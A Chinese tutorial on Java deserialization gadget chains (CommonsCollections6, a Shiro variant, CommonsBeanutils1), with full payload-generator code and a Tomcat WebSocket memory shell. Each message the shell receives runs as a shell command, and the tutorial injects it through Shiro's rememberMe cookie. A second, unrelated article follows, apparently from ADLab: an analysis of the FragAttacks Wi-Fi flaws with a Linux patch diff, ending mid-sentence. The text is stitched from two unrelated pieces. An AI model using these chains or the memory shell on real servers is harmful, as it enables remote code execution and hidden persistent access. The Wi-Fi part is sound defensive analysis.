因为一直想要学习反序列化相关的内容，并且从反序列化延伸出来学习内存马，所以花了很大一部分精力，从CC1到CB，整体地过了一遍反序列化利用链。在学习过程中，发现一个很有意思的内存马，WebSocket内存马，感觉如果用的好的话，挺符合实际需要的，所以自己大体利用了一下，很成功，在这里整理分享出来。
## 0x02 环境准备
代码分析工具idea
shiro反序列化靶场（Tomcat）：<https://github.com/yyhuni/shiroMemshell>
BurpSuite抓包工具
Websocket内存马相关代码
wscat工具（npm install -g wscat）
## 0x03 反序列化
反序列化我之前只学过PHP的，JAVA反序列化基本上从0开始学。P牛的《Java安全漫谈》很通俗易懂，很适合新人，然后我是结合着LSF的《Java反序列化漏洞学习
Commons Collection》一起学习的。
### 什么是序列化和反序列化？
最早在PHP中接触的反序列化，主要是CTF比赛题，但是因为比较靠研究型的东西，现在忘记的差不多了。另外学习的是一个反序列化漏洞，[某PHP博客系统前台反序列化getshell](https://t.zsxq.com/0aqSnUfzs)，通过unserialize()函数触发的反序列化。
* * *
java反序列化概念：
序列化：将java对象以字节的形式保存到本地磁盘上的过程，也可以理解成将抽象的java对象保存到文件的过程。这里保存的文件可以一直存在，只需要在需要的时候调用即可。
反序列化：将保存下来的java字节码还原成JAVA的过程。
### 几个关键知识
1、要想有序列化的能力，需要实现Serializable或Externalizable接口。也就是说，一整个利用链中涉及到的类，都需要达到这个要求。
2、ObjectOutputStream.readObject ->
具体类.readObject。序列化的类，需要重写readObject，如果没有重写，则会到其父类的readObject。
3、Java在反序列化的时候有一个机制，序列化时会根据固定算法计算出一个当前版本下类的 serialVersionUID
值，如果反序列化前后serialVersionUID 不同，即版本不同，就会异常退出。
4、反序列化漏洞的产生是因为反序列化过程中，会自动执行到序列化对象所在类的readObject()方法，如果该方法能够通过多次调用触发命令执行，则存在漏洞。
5、CC链的核心就是Transformer，InvokerTransformer实现了Transformer接⼝，反序列化中可以利用InvokerTransformer执行任意对象的任意方法。
6、shiro自带CB，版本为1.8.3。
7、Class.forName 支持加载数组，而 ClassLoader.loadClass 不支持加载数组。
8、如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。
### CC6详细分析
1、了解过CC链的话，应该都知道CC是因为Transformer可以执行任意代码而产生的。CC6的反序列化利用代码如下，传入一个字符串命令，返回序列化后的字节码。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6 {
public byte[] getPayload(final String commond) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{commond}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(tme);
outerMap.remove("key");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.flush();
oos.close();
return barr.toByteArray();
}
}
2、首先查看最后面，writeObject的是hashSet，可以定位到HashSet.readObject，其重写了readObject方法。
中间应该是有ObjectInputStream.readObject()到HashSet.readObject()的过程，可以参考我之前写的文章:
<https://wx.zsxq.com/dweb2/index/topic_detail/584124554842484>
3、那么，是怎么从HashSet.readObject()一直到触发transform()的呢，因为知道最后流程会走到InvokerTransformer.transform()，所以直接在这里下一个断点。
简单写个class调用POC
import com.vuln.ser.CommonsCollections6;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
public class TestCC6 {
public static void main(String[] args) throws Exception{
byte[] payloads = new CommonsCollections6().getPayload("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payloads));
ois.readObject();
ois.close();
}
}
4、debug之后可以看到是这样调用的
transform:125, InvokerTransformer (org.apache.commons.collections.functors)
transform:123, ChainedTransformer (org.apache.commons.collections.functors)
get:158, LazyMap (org.apache.commons.collections.map)
getValue:74, TiedMapEntry (org.apache.commons.collections.keyvalue)
hashCode:121, TiedMapEntry (org.apache.commons.collections.keyvalue)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)
readObject:342, HashSet (java.util)
5、与CC1一样，通过LazyMap.get调用到transform。在一个if判断中，如果当前map中的key与传入的key对象不相同，则调用transform执行它。
所以构造POC时，需要执行remove操作。也可以使用clear清空，道理相同。
6、IF判断进入了，这里还有一个问题，transform为this.factory.transform，而我们需要调用的是InvokerTransformer.transform。
查看factory，这是一个Transformer对象；并且在被public修饰的一个decorate方法中，传入一个Map对象和Transformer对象，则调用构造方法执行它们
构造方法也很简单，就是将传入的Transformer对象指定为this.factory
7、有了前面的铺垫，我们可以构造POC中的一部分代码
//创建transformer数组，内容为多次调用InvokerTransformer.transform反射执行Runtime.exec
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{commond}),};
//通过ChainedTransformer循环执行transformers数组内容
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,TransformerChain);
outerMap.remove("key");
8、为什么这里传入的是ChainedTransformer，其实主要是因为ChainedTransformer.transform可以循环执行Transformer数组，方便调用多次InvokerTransformer
9、回到完整的POC，这里有三处地方可以一起解释
第一处，创建一个没有实际意义的Transformer数组；第二处，LazyMap.decorate时，调用的是这个无用的数组；第三处，反射获取class对象的属性并重新赋值。这里的作用只有一个，防止初始化对象的时候就触发命令执行。
其中第三处因为有的时候很多地方需要反射重新赋值，容易显得代码很冗余，所以常常被封装成方法调用。
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
10、前面发现需要调用LazyMap.get，然后可以定位到TiedMapEntry.getValue，这个方法是调用this.map.get方法，并且在它的构造方法中可以指定map。
这里对应POC中的
TiedMapEntry tme = new TiedMapEntry(outerMap, "key");
11、然后搜索哪里调用了TiedMapEntry.getValue，定位到org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
12、hashCode就很熟悉了，HashMap.put调用HashMap.hash，HashMap.hash中调用key.hashcode，所以只要设置key为TiedMapEntry对象即可完成后面的调用
13、怎么调用HashMap.put呢，ysoserial中的CC6通过HashSet.readObject，在342行，调用了map.put()
按住command键点击map，可以看到定义了this.map就是HashMap
在HashSet.add可以将key设置进map中
整理出最后的POC部分
HashSet hashSet = new HashSet(1);
hashSet.add(tme);
14、《JAVA安全漫谈》中给出了不同的选择，HashMap.readObject中，1413行直接可以调用到HashMap.hash
所以这里不需要HashSet，直接使用HashMap即可，通过put方法将key设置进map中
Map expMap = new HashMap();
expMap.put(tme, "value");
### 适合shiro的CC6shiro
1、P牛指出过，如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误。
2、所以针对CC6攻击shiro，需要去掉Transformer数组，使用TemplatesImpl加载Java字节码的方式替换反射Runtime命令执行
这里进行了3次反射赋值，具体流程为：
初始化之后调用 TemplatesImpl#newTransformer()
然后到 TemplatesImpl#getTransletInstance()，这里有限制条件_name不为null，_class为null
继续到 TemplatesImpl#defineTransletClasses()，这里限制_bytecodes不为null
然后 run()方法中调用了_tfactory.getExternalExtensionsMap()，需要_tfactory不能为null
3、要调用TemplatesImpl利用链，那么就需要调用newTransformer，可以通过InvokerTransformer实现，先设置一个无害的getClass方法
后面反射设置值为newTransformer
4、完整的利用代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CommonCollectionShiro {
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {clazzBytes});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
5、利用CCshiro执行命令弹出计算器
运行环境
生成payload，Evil为简单的打开计算器命令
攻击成功
### 无CC依赖的CB1
1、CC链已经很久了，commons-collections组件也成为了非必要都禁用的存在。但是很巧的，shiro自带了commons-beanutils1.8.3，所以可以打CB链的反序列化
2、在前面的内容中介绍了一个TemplatesImpl，可以加载执行java字节码，因为内存马的存在，所以TemplatesImpl相对于反射调用Runtime更加实用。
有一个需要注意的点，被加载的恶意类，需要继承AbstractTranslet类，并且继承此类会自动实现两个transform方法。
3、前面介绍了CC链的关键是Transformer可以执行任意方法。CB链的关键则是静态方法 PropertyUtils.getProperty
，可以让使用者直接调用任意JavaBean的getter方法
4、TemplatesImpl利用链Gadget如下，在getOutputProperties方法中调用newTransformer触发利用链。而getOutputProperties正巧符合
**JavaBean的getter方法** 这一条件
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
5、org.apache.commons.beanutils.BeanComparator#compare
中，传入两个对象，如果当前property不为空，则调用PropertyUtils.getProperty处理该对象，符合触发情况
6、定位到property，可以看到BeanComparator存在3个构造方法，如果初始化的时候没有传值，那么默认就是空的，并且通过private修饰。所以需要反射赋值。因为要调用getOutputProperties，所以这里property需要指定值为TemplatesImpl中的属性
搜索Properties属性集，找到_outputProperties
7、然后找哪里调用了compare，CB1中是通过PriorityQueue.siftDownUsingComparator。在compare中有两个参数，一个x为传入的对象，一个c为queue数组中的对象。很容易理解就是传入两个参数并比较它们。
定位comparator，是一个Comparator对象，这里需要的是BeanComparator对象
8、PriorityQueue.siftDown 调用了 siftDownUsingComparator，条件是comparator不为空
9、继续往前，java.util.PriorityQueue#heapify 调用了siftDown
10、然后就到起点了，java.util.PriorityQueue#readObject 调用了heapify
11、Gadget Chain：
getOutputProperties:506, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
readObject:459, ObjectInputStream (java.io)
12、了解了整个CB链还不能使用，如何完成POC编写呢，需要一步一步来
首先知道是通过 TemplatesImpl
加载恶意字节码，这里通过一个专门获取恶意类字节码的库javassist.ClassPool，获取了Evil恶意类字节码
13、然后创建BeanComparator对象。并且因为需要调用PriorityQueue.readObject，所以还需要创建PriorityQueue对象。前面了解了需要指定comparator为BeanComparator对象，找到这个构造方法，需要传递两个参数，一个为需要大于1的整型数字，一个为BeanComparator对象
进一步完善POC
14、下一步，将恶意对象传入queue中，找到java.util.PriorityQueue#offer方法，将传入的对象赋值到queue数组中。
常见的是使用add()，与offer()是一样的，add()最后调用的也是offer()
15、将恶意对象offer进去之后，调用链已经基本完成了，反射指定property值即可。
执行成功弹出计算器
16、然后，不出意外的话，出意外了，前面说到，此时的利用链不能用CC了，但是当我们反射指定property值后，构造方法调用了CC中的类。
解决方法就是自己指定Comparator对象，找了3种方法，放在代码中了，P牛使用的是方法一
17、完整的利用代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Collections;
import java.util.Comparator;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//BeanComparator中引用了CC包中的ComparableComparator类
//但是shiro中没有CC包，所以使用BeanComparator会报错，所以需要找到替换的类
/*
新的类需要满足以下条件：
1、实现 java.util.Comparator 接口
2、实现 java.io.Serializable 接口
3、Java、shiro或commons-beanutils自带，且兼容性强
*/
//方法一：类 CaseInsensitiveComparator#Comparator
//通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象，用它来实例化 BeanComparator
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//方法二：类Collections$ReverseComparator
//通过反射获取类
//需要转换类型为Comparator
// Class clazz = Class.forName("java.util.Collections$ReverseComparator");
// Constructor constructor = clazz.getDeclaredConstructor();
// constructor.setAccessible(true);
//
// Comparator ob = (Comparator) constructor.newInstance();
// final BeanComparator comparator = new BeanComparator(null, ob);
//方法三：类Collections$ReverseComparator
//直接调用reverseOrder方法，返回的是一个ReverseComparator对象
// final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
// BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
利用CB1shiro，成功弹出计算器
## 0x04 注入WebSocket内存马
在攻防技术稳步提升的社会现状，相较于传统的将一句话木马上传到服务器上的落地文件getshell的方式，更多的是选择直接将内存马注入到中间件或组件中。shiro反序列化注入冰蝎内存马已经有现成的工具并且很适合实战使用了，后面发现Websocket内存马，不同于以往的直接将内存代码打入注册websocket服务。
### 生成WebSocket内存马
1、首先准备一个WebSocket_Cmd，在onMessage方法中放入命令执行代码。同理要注入websocket只需要改此处内容，详情可以看veo师傅的github项目。
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
public class WebSocket_Cmd extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
public void onMessage(String message) {
try {
boolean iswin = System.getProperty("os.name").toLowerCase().startsWith("windows");
Process exec;
if (iswin) {
exec = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", message});
} else {
exec = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", message});
}
InputStream ips = exec.getInputStream();
StringBuilder sb = new StringBuilder();
int i;
while((i = ips.read()) != -1) {
sb.append((char)i);
}
ips.close();
exec.waitFor();
this.session.getBasicRemote().sendText(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void onOpen(Session session, EndpointConfig config) {
this.session = session;
this.session.addMessageHandler(this);
}
}
2、将恶意类转换成字节数组
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Arrays;
public class GetByteTools {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(WebSocket_Cmd.class.getName());
byte[] payloads = clazz.toBytecode();
System.out.println(Arrays.toString(payloads));
}
}
3、将获取到的字节数组加入到字节码处，生成内存马。因为要打TemplatesImap，所以继承了AbstractTranslet。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class TemplatesImplWebSocket extends AbstractTranslet {
static {
try {
String urlPath = "/ws";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
if (standardroot == null){
Field field;
try {
field = webappClassLoaderBase.getClass().getDeclaredField("resources");
field.setAccessible(true);
}catch (Exception e){
field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
field.setAccessible(true);
}
standardroot = (StandardRoot)field.get(webappClassLoaderBase);
}
StandardContext standardContext = (StandardContext) standardroot.getContext();
//以字节码方式 defineclass
//字节数组通过 GetByteTools 获取
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
byte[] bytes = new byte[]{字节码};
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
//后面部分不变，build设置好的恶意类
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
if (null == container.findMapping(urlPath)) {
try {
container.addEndpoint(configEndpoint);
} catch (DeploymentException e) {
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
### 注入内存马
tomcat大小问题绕过参考洋洋师傅的文章：[绕过maxHttpHeaderSize](https://xz.aliyun.com/t/10696#toc-7)，我采用从POST请求体中发送字节码数据的方式进行绕过。
1、生成MyTomcatClassLoader
将生成的payload放到rememberMe后
2、通过如下代码，获取websocket内存马的classData。具体路径一般在本项目下的targets目录
import java.io.File;
import java.io.FileInputStream;
import java.net.URLEncoder;
import java.util.Base64;
public class getClassData {
public static void main(String[] args) throws Exception {
File file = new File("TemplatesImplWebSocket.class路径");
FileInputStream inputFile = new FileInputStream(file);
byte[] buffer = new byte[(int)file.length()];
inputFile.read(buffer);
inputFile.close();
String base64Str = Base64.getEncoder().encodeToString(buffer);
String urlStr = URLEncoder.encode(base64Str,"UTF-8");
System.out.println("========ClassData========="+"\n");
System.out.println(urlStr+"\n");
System.out.println("========ClassData========="+"\n");
}
}
3、将生成的classData放入数据包的POST字段，发送数据包，注入内存马
4、使用wscat连接即可，路径在TemplatesImplWebSocket中设置的，为/ws
## 0x05 总结
学习反序列化和内存马已经很长一段时间了，看网上的文章也总是发现这样的问题，一个是JAVA基础欠缺，在反序列化部分很多底层知识还理解的很浅显；第二是有些复杂的地方，文章中一笔带过了，自己也一笔带过了。但是是能够体会到自己的成长的，一开始只会使用Ysoserial工具，shiro反序列化工具，JNDI注入工具，到现在，能够理解它大体的原理，现在想来，是挺开心的一件事。
## 0x06 参考
<https://t.zsxq.com/0aLhQzwy7>
<https://t.zsxq.com/0abG5xV3Z>
<http://tttang.com/archive/1337/>
<https://github.com/yyhuni/shiroMemshell>
<https://www.freebuf.com/vuls/329299.html>
<https://github.com/veo/wsMemShell>
<https://xz.aliyun.com/t/10696> | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/1a5Isz6KPtWuO9SQkiuGXw>**
### 背景
近日，纽约大学阿布扎比分校的安全研究员Mathy Vanhoef发现了一系列影响巨大的Wi-Fi漏洞，这一系列漏洞被统称为FragAttacks，FragAttacks影响了1997年Wi-Fi技术诞生以来的所有Wi-Fi设备（包括计算机、智能手机、园区网络、家庭路由器、智能家居设备、智能汽车、物联网等等）。
其中三个漏洞影响大多数WiFi设备，属于Wi-Fi 802.11标准帧聚合和帧分片功能中的设计缺陷，而其他漏洞是Wi-Fi产品中的编程错误。
黑客只要在目标设备的Wi-Fi范围内，就能利用FragAttacks漏洞窃取敏感用户数据并执行恶意代码，甚至可以接管整个设备。
启明星辰ADLab第一时间对漏洞进行了分析，并提出了相应的缓解建议。由于WiFi产品的协议栈，包括了Soft Mac及Full
Mac多种实现方案。FragAttacks系列漏洞不仅存在影响操作系统内核、WiFi驱动，还影响WiFi的SOC芯片，所以漏洞的影响长期存在。请及时关注并更新设备供应商的安全更新。
### 修复及缓解建议：
·及时更新设备供应商发布的FragAttacks漏洞安全更新。
·确保您访问的所有网站和在线服务都启用了安全超文本传输协议HTTPS(比如安装HTTPS Everywhere插件)。
·例如在Wi-Fi 6（802.11ax）设备中禁用分片，禁用成对重新生成密钥以及禁用动态分片。
### 漏洞列表及具体影响：
Wi-Fi设计缺陷相关的漏洞包括：
Wi-Fi实现相关的漏洞包括：
通过这一系列漏洞，攻击者完全可以获得用户的敏感信息或直接控制智能设备，如控制智能电源插座，甚至直接接管网络中存在漏洞的计算机，参见下文参考资料[2]。
### 漏洞分析：
我们选取了在所有设备普遍存在的CVE-2020-24586、CVE-2020-24587、CVE-2020-24588三个设计漏洞进行分析。由于CVE-2020-24588的漏洞影响较大，我们着重进行介绍CVE-2020-24588。
#### 技术背景
由于802.11MAC层协议耗费了相当多开销用作链路的维护，为了提高MAC层的效率，802.11n引入帧聚合技术，报文帧聚合技术包括：A-MSDU(MAC服务数据单元聚合)
及 A-MPDU(MAC协议数据单元聚合)。
A-MSDU允许对目的地及应用都相同的多个A-MSDU子帧进行聚合，聚合后的多个子帧只有一个共同的MAC帧头，当多个子帧聚合到一起后，从而减少了发送每一个802.11报文所需的PLCP
Preamble、PLCP
Header和802.11MAC头的开销，同时减少了应答帧的数量，从而提高无线传输效率。A-MSDU报文帧聚合技术是802.11n协议的强制要求，所有支持802.11n协议的设备都必须支持。
下图示意了在802.11协议栈中，发送端和接收端是如何处理A-MSDU数据的。
图1. 802.11协议数据处理流程
在802.11协议栈中，发送端将来自3-7层的网络数据经过数据链路层的LLC子层添加LLC/SNAP头后封装成MSDU(MAC服务数据单元），MSDU经过添加DA、SA、长度及pading后，封装成A-MSDU子帧，在MAC子层的顶层将多个A-MSDU子帧封装成A-MSDU，经MAC子层后，帧数据被添加上MAC头及帧尾封装成802.11数据帧（MPDU），MPDU/PSDU经过物理层添加PLCP
Preamble（PLCP前导码）及PLCP Header（PHY头）。无线侧最后通过射频口将二进制流发送到接收端。
接收端通过相反路径对802.11数据帧进行拆解，最后获得发送端的3-7层的网络数据。
A-MSDU的协议数据组成如图2所示，我们从上到下进行分别说明：
1. 一个MSDU由LCC/SNAP头、IP头、TCP/UDP头及协议数据Data组成。
2. MSDU添加DA(目的地址)，SA(源地址)，后续数据长度及Padding(四字节对齐)组成一个MSDU子帧。
3. 多个MSDU子帧组成一个802.11帧的A-MSDU域。
4. 802.11数据帧通过QOS Control的A-MSDU Present位来表示这是一个包括A-MSDU域的数据帧。
图2. A-MSDU数据组成示意
在802.11协议中，一个普通的802.11数据帧与A-MSDU数据帧的结构是相同的，只是QOS Control域的A-MSDU Preset位 为1
，则标示了该数据帧是一个A-MSDU数据帧。 A-MSDU Preset位为0，则标示这是普通802.11数据帧。
在802.11协议中WEP及CCMP只保护802.11
MAC的有效载荷，至于802.11帧头以及下层协议的标头则原封不动，也就是说802.11协议中数据帧中QOS
Control并没有加密，这为攻击者提供了攻击入口。
图3. CCMP加密的802.11数据帧格式
为防止中间人攻击，IEEE在2011年设计了SPP A-MSDU机制来保护A-MSDU Preset位及A-MSDU的Payload。SPP
A-MSDU通过在RSN capabilities 域中添加SPP A-MSDU Capable及SPP A-MSDU Required来标示是否支持SPP
A-MSDU机制及是否采用SPP A-MSDU机制。
图4. RSN Capabilities 域数据格式
#### 针对A-MSDU聚合的帧注入攻击(CVE-2020-24588)
虽然有SPP A-MSDU机制来保护A-MSDU Preset位不被篡改，但是在实际的测试中，几乎所有的设备都不遵循SPP
A-MSDU机制，这使得中间人攻击成为可能。
我们假设发送端发送了一个正常的802.11数据帧，这是一个里面封装的是一个普通TCP包，其dst=“192.168.1.2", src="1.2.3.4",
id=34
图5. 原始的802.11数据帧
由于偏移0x18的QOS Control(0200）不受保护，攻击者可以将 QOS Control域中的A-MSDU Preset翻转为1，使得QOS
Control的值为8200，同时在帧末尾注入恶意的A-MSDU子帧2（如下图的红色线标示），最后发送给接收端。
图6. 篡改后的802.11A-MSDU数据帧
由于QOS Control域中的A-MSDU Preset翻转为1，当接收端接收到数据帧后，会按A-MSDU格式来拆解里面的数据。数据被识别成两个A-MSDU子帧。A-MSDU子帧1中的数据是原始的MSDU数据，所以会被协议栈丢弃，但第二个子帧会被正确解析并处理。这上面的例子中第二个子帧会被识别成ICMP
ping包，接收端会回复一个ICMP echo Reply给发送端。
<https://mp.weixin.qq.com/s/1a5Isz6KPtWuO9SQkiuGXw>
视频1.发送端收到ICMP echo Reply
下图示意了中间人帧注入流程：
图7. 中间人帧注入流程
1. STA（终端）和AP（热点/无线路由器）信道A（如信道6）, 建立关联
2. MITM利用多信道中间人技术使得STA认为AP已经切换到信道B（如信道11）。
3. STA在信道11给 MITM发送加密的Wifi正常数据帧。
4. MITM将 接收到的Wifi帧QOS域的A-MSDU Preset标示设为1，同时插入篡改的A-MSDU数据。把一个正常的Wifi帧改成一个A-MSDU帧，并注入一个ICMP请求包，并在通道6发给AP。
5. AP接收到A-MSDU数据帧，AP拆解A-MSDU, 分成多个A-MSDU子帧，其中第一个A-MSDU子帧为非法包，会被丢弃，但后续的MSDU子帧会被系统正常处理。AP会回复收到一个ICMP Echo 应答给MITM.
6. MITM收到AP的回复后，将接收到的WIFI帧转发给STA，这样STA收到AP回复的ICMP应答。
#### CVE-2020-24588的修复
今年3月Windows发布了相应的补丁，修复了FragAttacks系列漏洞，5月11日Linux也发布了FragAttacks系列漏洞补丁[6]，Linux针对CVE-2020-24588的修复如下：
--- net/wireless/util.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/net/wireless/util.c b/net/wireless/util.c
index 39966a873e40..7ec021a610ae 100644
--- a/net/wireless/util.c
+++ b/net/wireless/util.c
@@ -771,6 +771,9 @@ void ieee80211_amsdu_to_8023s(struct sk_buff *skb, struct sk_buff_head *list,
remaining = skb->len - offset;
if (subframe_len > remaining)
goto purge;
+ /* mitigate A-MSDU aggregation injection attacks */
+ if (ether_addr_equal(eth.h_dest, rfc1042_header))
+ goto purge;
offset += sizeof(struct ethhdr);
last = remaining <= subframe_len + padding;
--
因为在A-MSDU聚合注入攻击中，需要将普通加密Wi-Fi帧转换为A-MSDU帧。这意味着第一个A-MSDU子帧的前6字节对应于RFC1042的帧头，通过增加判断DA(目标地址)是否和rfc1042_header(\xaa\xaa\x03\x00\x00\x00)一致，如果相等则认为是恶意攻击，可以把这个A-MSDU帧抛弃。
#### 混合密钥攻击(CVE-2020-24587)
图8.混合密钥攻击流程
在步骤1当中，攻击者诱导受害者访问受攻击者控制的服务器，通过一些手段，比如指定一个超长的URL，从而使受害者发送的数据包不得不分成两段进行传输，分片的数据包用秘钥k加密，这两个数据包为
